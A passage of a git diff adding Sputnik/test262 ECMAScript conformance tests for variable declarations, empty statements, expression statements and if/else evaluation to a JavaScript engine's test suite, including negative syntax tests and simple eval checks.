index 000000000..c168bfd2b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A5.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VariableDeclaration within Eval statement is initialized as the program reaches the eval statement
+ *
+ * @path ch12/12.2/S12.2_A5.js
+ * @description Executing eval("var x")
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ x=x;
+ $ERROR('#1: "x=x" lead to throwing exception');
+}catch(e){
+ $PRINT(e.message);
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+eval("var x");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try{
+ x=x;
+}catch(e){
+ $ERROR('#2: VariableDeclaration inside Eval statement is initialized when program reaches the eval statement '+e.message);
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A6_T1.js b/js/src/tests/test262/ch12/12.2/S12.2_A6_T1.js
new file mode 100644
index 000000000..34e7f0e7a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A6_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VariableDeclaration within "try-catch" statement is allowed
+ *
+ * @path ch12/12.2/S12.2_A6_T1.js
+ * @description Declaring variable within "try-catch" statement
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ intry__var=intry__var;
+}catch(e){
+ $ERROR('#1: Variable declaration inside "try" block is admitted');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try{
+ incatch__var=incatch__var;
+}catch(e){
+ $ERROR('#2: Variable declaration inside "catch" block is admitted');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+try{
+ var intry__var;
+}catch(e){
+ var incatch__var;
+};
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A6_T2.js b/js/src/tests/test262/ch12/12.2/S12.2_A6_T2.js
new file mode 100644
index 000000000..4b586e0ab
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A6_T2.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VariableDeclaration within "try-catch" statement is allowed
+ *
+ * @path ch12/12.2/S12.2_A6_T2.js
+ * @description Declaring variables within "try-catch" statement
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ intry__intry__var=intry__intry__var;
+ intry__incatch__var=intry__incatch__var;
+ incatch__intry__var=incatch__intry__var;
+ incatch__incatch__var=incatch__incatch__var;
+}catch(e){
+ $ERROR('#1: Variable declaration inside "try-catch" block is admitted');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+try{
+ try {
+ var intry__intry__var;
+ } catch (e) {
+ var intry__incatch__var;
+ }
+}catch(e){
+ try {
+ var incatch__intry__var;
+ } catch (e) {
+ var incatch__incatch__var;
+ }
+
+};
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A7.js b/js/src/tests/test262/ch12/12.2/S12.2_A7.js
new file mode 100644
index 000000000..167355a9f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A7.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VariableDeclaration within "for" statement is allowed
+ *
+ * @path ch12/12.2/S12.2_A7.js
+ * @description Declaring variable within "for" statement
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ infor_var = infor_var;
+}catch(e){
+ $ERROR('#1: Variable declaration inside "for" loop is admitted');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+for (;;){
+ break;
+ var infor_var;
+}
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T1.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T1.js
new file mode 100644
index 000000000..c9466b665
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T1.js
+ * @description Checking if execution of "var x += 1" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x += 1;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T2.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T2.js
new file mode 100644
index 000000000..f5b9edc5f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T2.js
+ * @description Checking if execution of "var x | true" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x | true;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T3.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T3.js
new file mode 100644
index 000000000..4272e5c1b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T3.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T3.js
+ * @description Checking if execution of "var x && 1" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x && 1;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T4.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T4.js
new file mode 100644
index 000000000..1f4641770
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T4.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T4.js
+ * @description Checking if execution of "var x++" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x++;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T5.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T5.js
new file mode 100644
index 000000000..1c414f6dd
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T5.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T5.js
+ * @description Checking if execution of "var --x" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var --x;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T6.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T6.js
new file mode 100644
index 000000000..c763f07aa
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T6.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T6.js
+ * @description Checking if execution of "var x*1" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x*1;
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T7.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T7.js
new file mode 100644
index 000000000..86d1c3398
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T7.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T7.js
+ * @description Checking if execution of "var x>>1" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x>>1;
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A8_T8.js b/js/src/tests/test262/ch12/12.2/S12.2_A8_T8.js
new file mode 100644
index 000000000..d798757d6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A8_T8.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only AssignmentExpression is admitted when variable is initialized
+ *
+ * @path ch12/12.2/S12.2_A8_T8.js
+ * @description Checking if execution of "var x in __arr" fails
+ * @negative
+ */
+
+__arr = [];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x in __arr;
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.2/S12.2_A9.js b/js/src/tests/test262/ch12/12.2/S12.2_A9.js
new file mode 100644
index 000000000..261599a65
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/S12.2_A9.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When using property attributes, {DontEnum} is not used
+ *
+ * @path ch12/12.2/S12.2_A9.js
+ * @description Enumerating property attributes of "this" and then searching for the declared variable
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for (__prop in this){
+ if (__prop === "__declared__var")
+ enumed=true;
+}
+if (!(enumed)) {
+ $ERROR('#1: When using property attributes, {DontEnum} not used');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __declared__var;
+
diff --git a/js/src/tests/test262/ch12/12.2/browser.js b/js/src/tests/test262/ch12/12.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/browser.js
diff --git a/js/src/tests/test262/ch12/12.2/shell.js b/js/src/tests/test262/ch12/12.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.2/shell.js
diff --git a/js/src/tests/test262/ch12/12.3/S12.3_A1.js b/js/src/tests/test262/ch12/12.3/S12.3_A1.js
new file mode 100644
index 000000000..e314b179e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.3/S12.3_A1.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production EmptyStatement ; is evaluated as follows Return (normal, empty, empty)
+ *
+ * @path ch12/12.3/S12.3_A1.js
+ * @description Using EmptyStatement ;
+ */
+
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;;;;; ;;;;;; ;; ;; ;;;;;; ;;;;;;;; ;; ;; ;;;;;
+;;;;; ;; ;;;; ;;;; ;; ;; ;; ;; ;; ;;;;;
+;;;;; ;;;; ;; ;;;; ;; ;;;;;; ;; ;;;; ;;;;;
+;;;;; ;; ;; ;; ;; ;; ;; ;; ;;;;;
+;;;;; ;;;;;; ;; ;; ;; ;; ;; ;;;;;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+
diff --git a/js/src/tests/test262/ch12/12.3/browser.js b/js/src/tests/test262/ch12/12.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.3/browser.js
diff --git a/js/src/tests/test262/ch12/12.3/shell.js b/js/src/tests/test262/ch12/12.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.3/shell.js
diff --git a/js/src/tests/test262/ch12/12.4/S12.4_A1.js b/js/src/tests/test262/ch12/12.4/S12.4_A1.js
new file mode 100644
index 000000000..0754d791e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.4/S12.4_A1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * An ExpressionStatement can not start with the function keyword because that might make it ambiguous with a FunctionDeclaration
+ *
+ * @path ch12/12.4/S12.4_A1.js
+ * @description Checking if execution of "function(){}()" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+function(){}();
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.4/S12.4_A2_T1.js b/js/src/tests/test262/ch12/12.4/S12.4_A2_T1.js
new file mode 100644
index 000000000..70d0aa62d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.4/S12.4_A2_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production ExpressionStatement : [lookahead \notin {{, function}] Expression; is evaluated as follows:
+ * 1. Evaluate Expression.
+ * 2. Call GetValue(Result(1)).
+ * 3. Return (normal, Result(2), empty)
+ *
+ * @path ch12/12.4/S12.4_A2_T1.js
+ * @description Checking by using eval "(eval("x+1+x==1"))"
+ */
+
+x=1;
+
+__evaluated = eval("x+1+x==1");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__evaluated !== false) {
+ $ERROR('#1: __evaluated === false. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__evaluated = eval("1+1+1==1");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== false) {
+ $ERROR('#2: __evaluated === false. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.4/S12.4_A2_T2.js b/js/src/tests/test262/ch12/12.4/S12.4_A2_T2.js
new file mode 100644
index 000000000..2fdadc008
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.4/S12.4_A2_T2.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production ExpressionStatement : [lookahead \notin {{, function}] Expression; is evaluated as follows:
+ * 1. Evaluate Expression.
+ * 2. Call GetValue(Result(1)).
+ * 3. Return (normal, Result(2), empty)
+ *
+ * @path ch12/12.4/S12.4_A2_T2.js
+ * @description Checking by using eval(eval(x), where x is any string)
+ */
+
+x="5+1|0===0";
+
+__evaluated = eval(x);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__evaluated !== 7) {
+ $ERROR('#1: __evaluated === 7. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__evaluated = eval("2*"+x+">-1");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== 11) {
+ $ERROR('#2: __evaluated === 11. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.4/browser.js b/js/src/tests/test262/ch12/12.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.4/browser.js
diff --git a/js/src/tests/test262/ch12/12.4/shell.js b/js/src/tests/test262/ch12/12.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.4/shell.js
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A1.1_T1.js b/js/src/tests/test262/ch12/12.5/S12.5_A1.1_T1.js
new file mode 100644
index 000000000..ae2038c98
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A1.1_T1.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 0, null, undefined, false, empty string, NaN in expression is evaluated to false
+ *
+ * @path ch12/12.5/S12.5_A1.1_T1.js
+ * @description Using "if" without "else" construction
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+
+if(0)
+ $ERROR('#1: 0 in expression is evaluated to false ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(false)
+ $ERROR('#2: false in expression is evaluated to false ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(null)
+ $ERROR('#3: null in expression is evaluated to false ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(undefined)
+ $ERROR('#4: undefined in expression is evaluated to false ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if("")
+ $ERROR('#5: empty string in expression is evaluated to false ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if(NaN)
+ $ERROR('#5: NaN in expression is evaluated to false ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A1.1_T2.js b/js/src/tests/test262/ch12/12.5/S12.5_A1.1_T2.js
new file mode 100644
index 000000000..ba5d8e3cb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A1.1_T2.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 0, null, undefined, false, empty string, NaN in expression is evaluated to false
+ *
+ * @path ch12/12.5/S12.5_A1.1_T2.js
+ * @description Using "if/else" construction
+ */
+
+var c=0;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(0)
+ $ERROR('#1.1: 0 in expression is evaluated to false ');
+else
+ c++;
+if (c!=1) $ERROR('#1.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(false)
+ $ERROR('#2.1: false in expression is evaluated to false ');
+else
+ c++;
+if (c!=2) $ERROR('#2.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(null)
+ $ERROR('#3.1: null in expression is evaluated to false ');
+else
+ c++;
+if (c!=3) $ERROR('#3.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(undefined)
+ $ERROR('#4.1: undefined in expression is evaluated to false ');
+else
+ c++;
+if (c!=4) $ERROR('#4.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if("")
+ $ERROR('#5.1: empty string in expression is evaluated to false ');
+else
+ c++;
+if (c!=5) $ERROR('#5.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if(NaN)
+ $ERROR('#6.1: NaN in expression is evaluated to false ');
+else
+ c++;
+if (c!=6) $ERROR('#6.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A1.2_T1.js b/js/src/tests/test262/ch12/12.5/S12.5_A1.2_T1.js
new file mode 100644
index 000000000..19ba4cdd1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A1.2_T1.js
@@ -0,0 +1,73 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1, true, non-empty string and others in expression is evaluated to true when using operator "new"
+ *
+ * @path ch12/12.5/S12.5_A1.2_T1.js
+ * @description Using "if" without "else" construction
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(!(new Number(1)))
+ $ERROR('#1: new 1 in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(!(new Boolean(true)))
+ $ERROR('#2: new true in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(!(new String("1")))
+ $ERROR('#3: new "1" in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(!(new String("A")))
+ $ERROR('#4: new "A" in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if(!(new Boolean(false)))
+ $ERROR('#2: new false in expression is evaluated to true ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if(!(new Number(NaN)))
+ $ERROR('#6: new NaN in expression is evaluated to true ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#7
+if(!(new Number(null)))
+ $ERROR('#7: new null in expression is evaluated to true ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#8
+if(!(new String(undefined)))
+ $ERROR('#8: new undefined in expression is evaluated to true ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#9
+if(!(new String("")))
+ $ERROR('#9: new empty string in expression is evaluated to true ');
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A1.2_T2.js b/js/src/tests/test262/ch12/12.5/S12.5_A1.2_T2.js
new file mode 100644
index 000000000..b384311f1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A1.2_T2.js
@@ -0,0 +1,101 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1, true, non-empty string and others in expression is evaluated to true when using operator "new"
+ *
+ * @path ch12/12.5/S12.5_A1.2_T2.js
+ * @description Using "if/else" construction
+ */
+
+var c=0;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(!(new Number(1)))
+ $ERROR('#1.1: new 1 in expression is evaluated to true');
+else
+ c++;
+if (c!=1) $ERROR('#1.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(!(new Boolean(true)))
+ $ERROR('#2.1: new true in expression is evaluated to true');
+else
+ c++;
+if (c!=2) $ERROR('#2.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(!(new String("1")))
+ $ERROR('#3.1: new "1" in expression is evaluated to true');
+else
+ c++;
+if (c!=3) $ERROR('#3.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(!(new String("A")))
+ $ERROR('#4.1: new "A" in expression is evaluated to true');
+else
+ c++;
+if (c!=4) $ERROR('#4.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if(!(new Boolean(false)))
+ $ERROR('#5.1: new false in expression is evaluated to true ');
+else
+ c++;
+if (c!=5) $ERROR('#5.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if(!(new Number(NaN)))
+ $ERROR('#6.1: new NaN in expression is evaluated to true ');
+else
+ c++;
+if (c!=6) $ERROR('#6.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#7
+if(!(new Number(null)))
+ $ERROR('#7.1: new null in expression is evaluated to true ');
+else
+ c++;
+if (c!=7) $ERROR('#7.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#8
+if(!(new String(undefined)))
+ $ERROR('#8.1: new undefined in expression is evaluated to true ');
+else
+ c++;
+if (c!=8) $ERROR('#8.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#9
+if(!(new String("")))
+ $ERROR('#9.1: new empty string in expression is evaluated to true ');
+else
+ c++;
+if (c!=9) $ERROR('#9.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A10_T1.js b/js/src/tests/test262/ch12/12.5/S12.5_A10_T1.js
new file mode 100644
index 000000000..4995fe1c2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A10_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function expession inside the "if" expression is allowed
+ *
+ * @path ch12/12.5/S12.5_A10_T1.js
+ * @description Using function expession(function __func(){return 0;}) inside the "if" expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+if(function __func(){return 0;}){
+ ;
+}else {
+ $ERROR('#1: Function expession inside the "if" expression is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A10_T2.js b/js/src/tests/test262/ch12/12.5/S12.5_A10_T2.js
new file mode 100644
index 000000000..bcb187b08
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A10_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function expession inside the "if" expression is allowed
+ *
+ * @path ch12/12.5/S12.5_A10_T2.js
+ * @description Using function expession "function __func(){return 0;}()" within "if" expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+if(function __func(){return 0;}()){
+ $ERROR('#1: Function expession inside the if expression is allowed');
+}else {
+ ;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A11.js b/js/src/tests/test262/ch12/12.5/S12.5_A11.js
new file mode 100644
index 000000000..250b29f50
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A11.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * {} within the "if" expression is not allowed
+ *
+ * @path ch12/12.5/S12.5_A11.js
+ * @description Checking if execution of "if({1})" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+if({1})
+ {
+ ;
+ }else
+ {
+ ;
+ }
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A12_T1.js b/js/src/tests/test262/ch12/12.5/S12.5_A12_T1.js
new file mode 100644
index 000000000..43f858b09
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A12_T1.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Embedded "if/else" constructions are allowed
+ *
+ * @path ch12/12.5/S12.5_A12_T1.js
+ * @description Using embedded "if/else" into "if/else" constructions
+ */
+
+//CHECK# 1
+if(true)
+ if (false)
+ $ERROR('#1.1: At embedded "if/else" constructions engine must select right branches');
+ else
+ ;
+else
+ if (true)
+ $ERROR('#1.2: At embedded "if/else" constructions engine must select right branches');
+ else
+ $ERROR('#1.3: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 2
+if(true)
+ if (true)
+ ;
+ else
+ $ERROR('#2.1: At embedded "if/else" constructions engine must select right branches');
+else
+ if (true)
+ $ERROR('#2.2: At embedded "if/else" constructions engine must select right branches');
+ else
+ $ERROR('#2.3: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 3
+if(false)
+ if (true)
+ $ERROR('#3.1: At embedded "if/else" constructions engine must select right branches');
+ else
+ $ERROR('#3.2: At embedded "if/else" constructions engine must select right branches');
+else
+ if (true)
+ ;
+ else
+ $ERROR('#3.3: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 4
+if(false)
+ if (true)
+ $ERROR('#4.1: At embedded "if/else" constructions engine must select right branches');
+ else
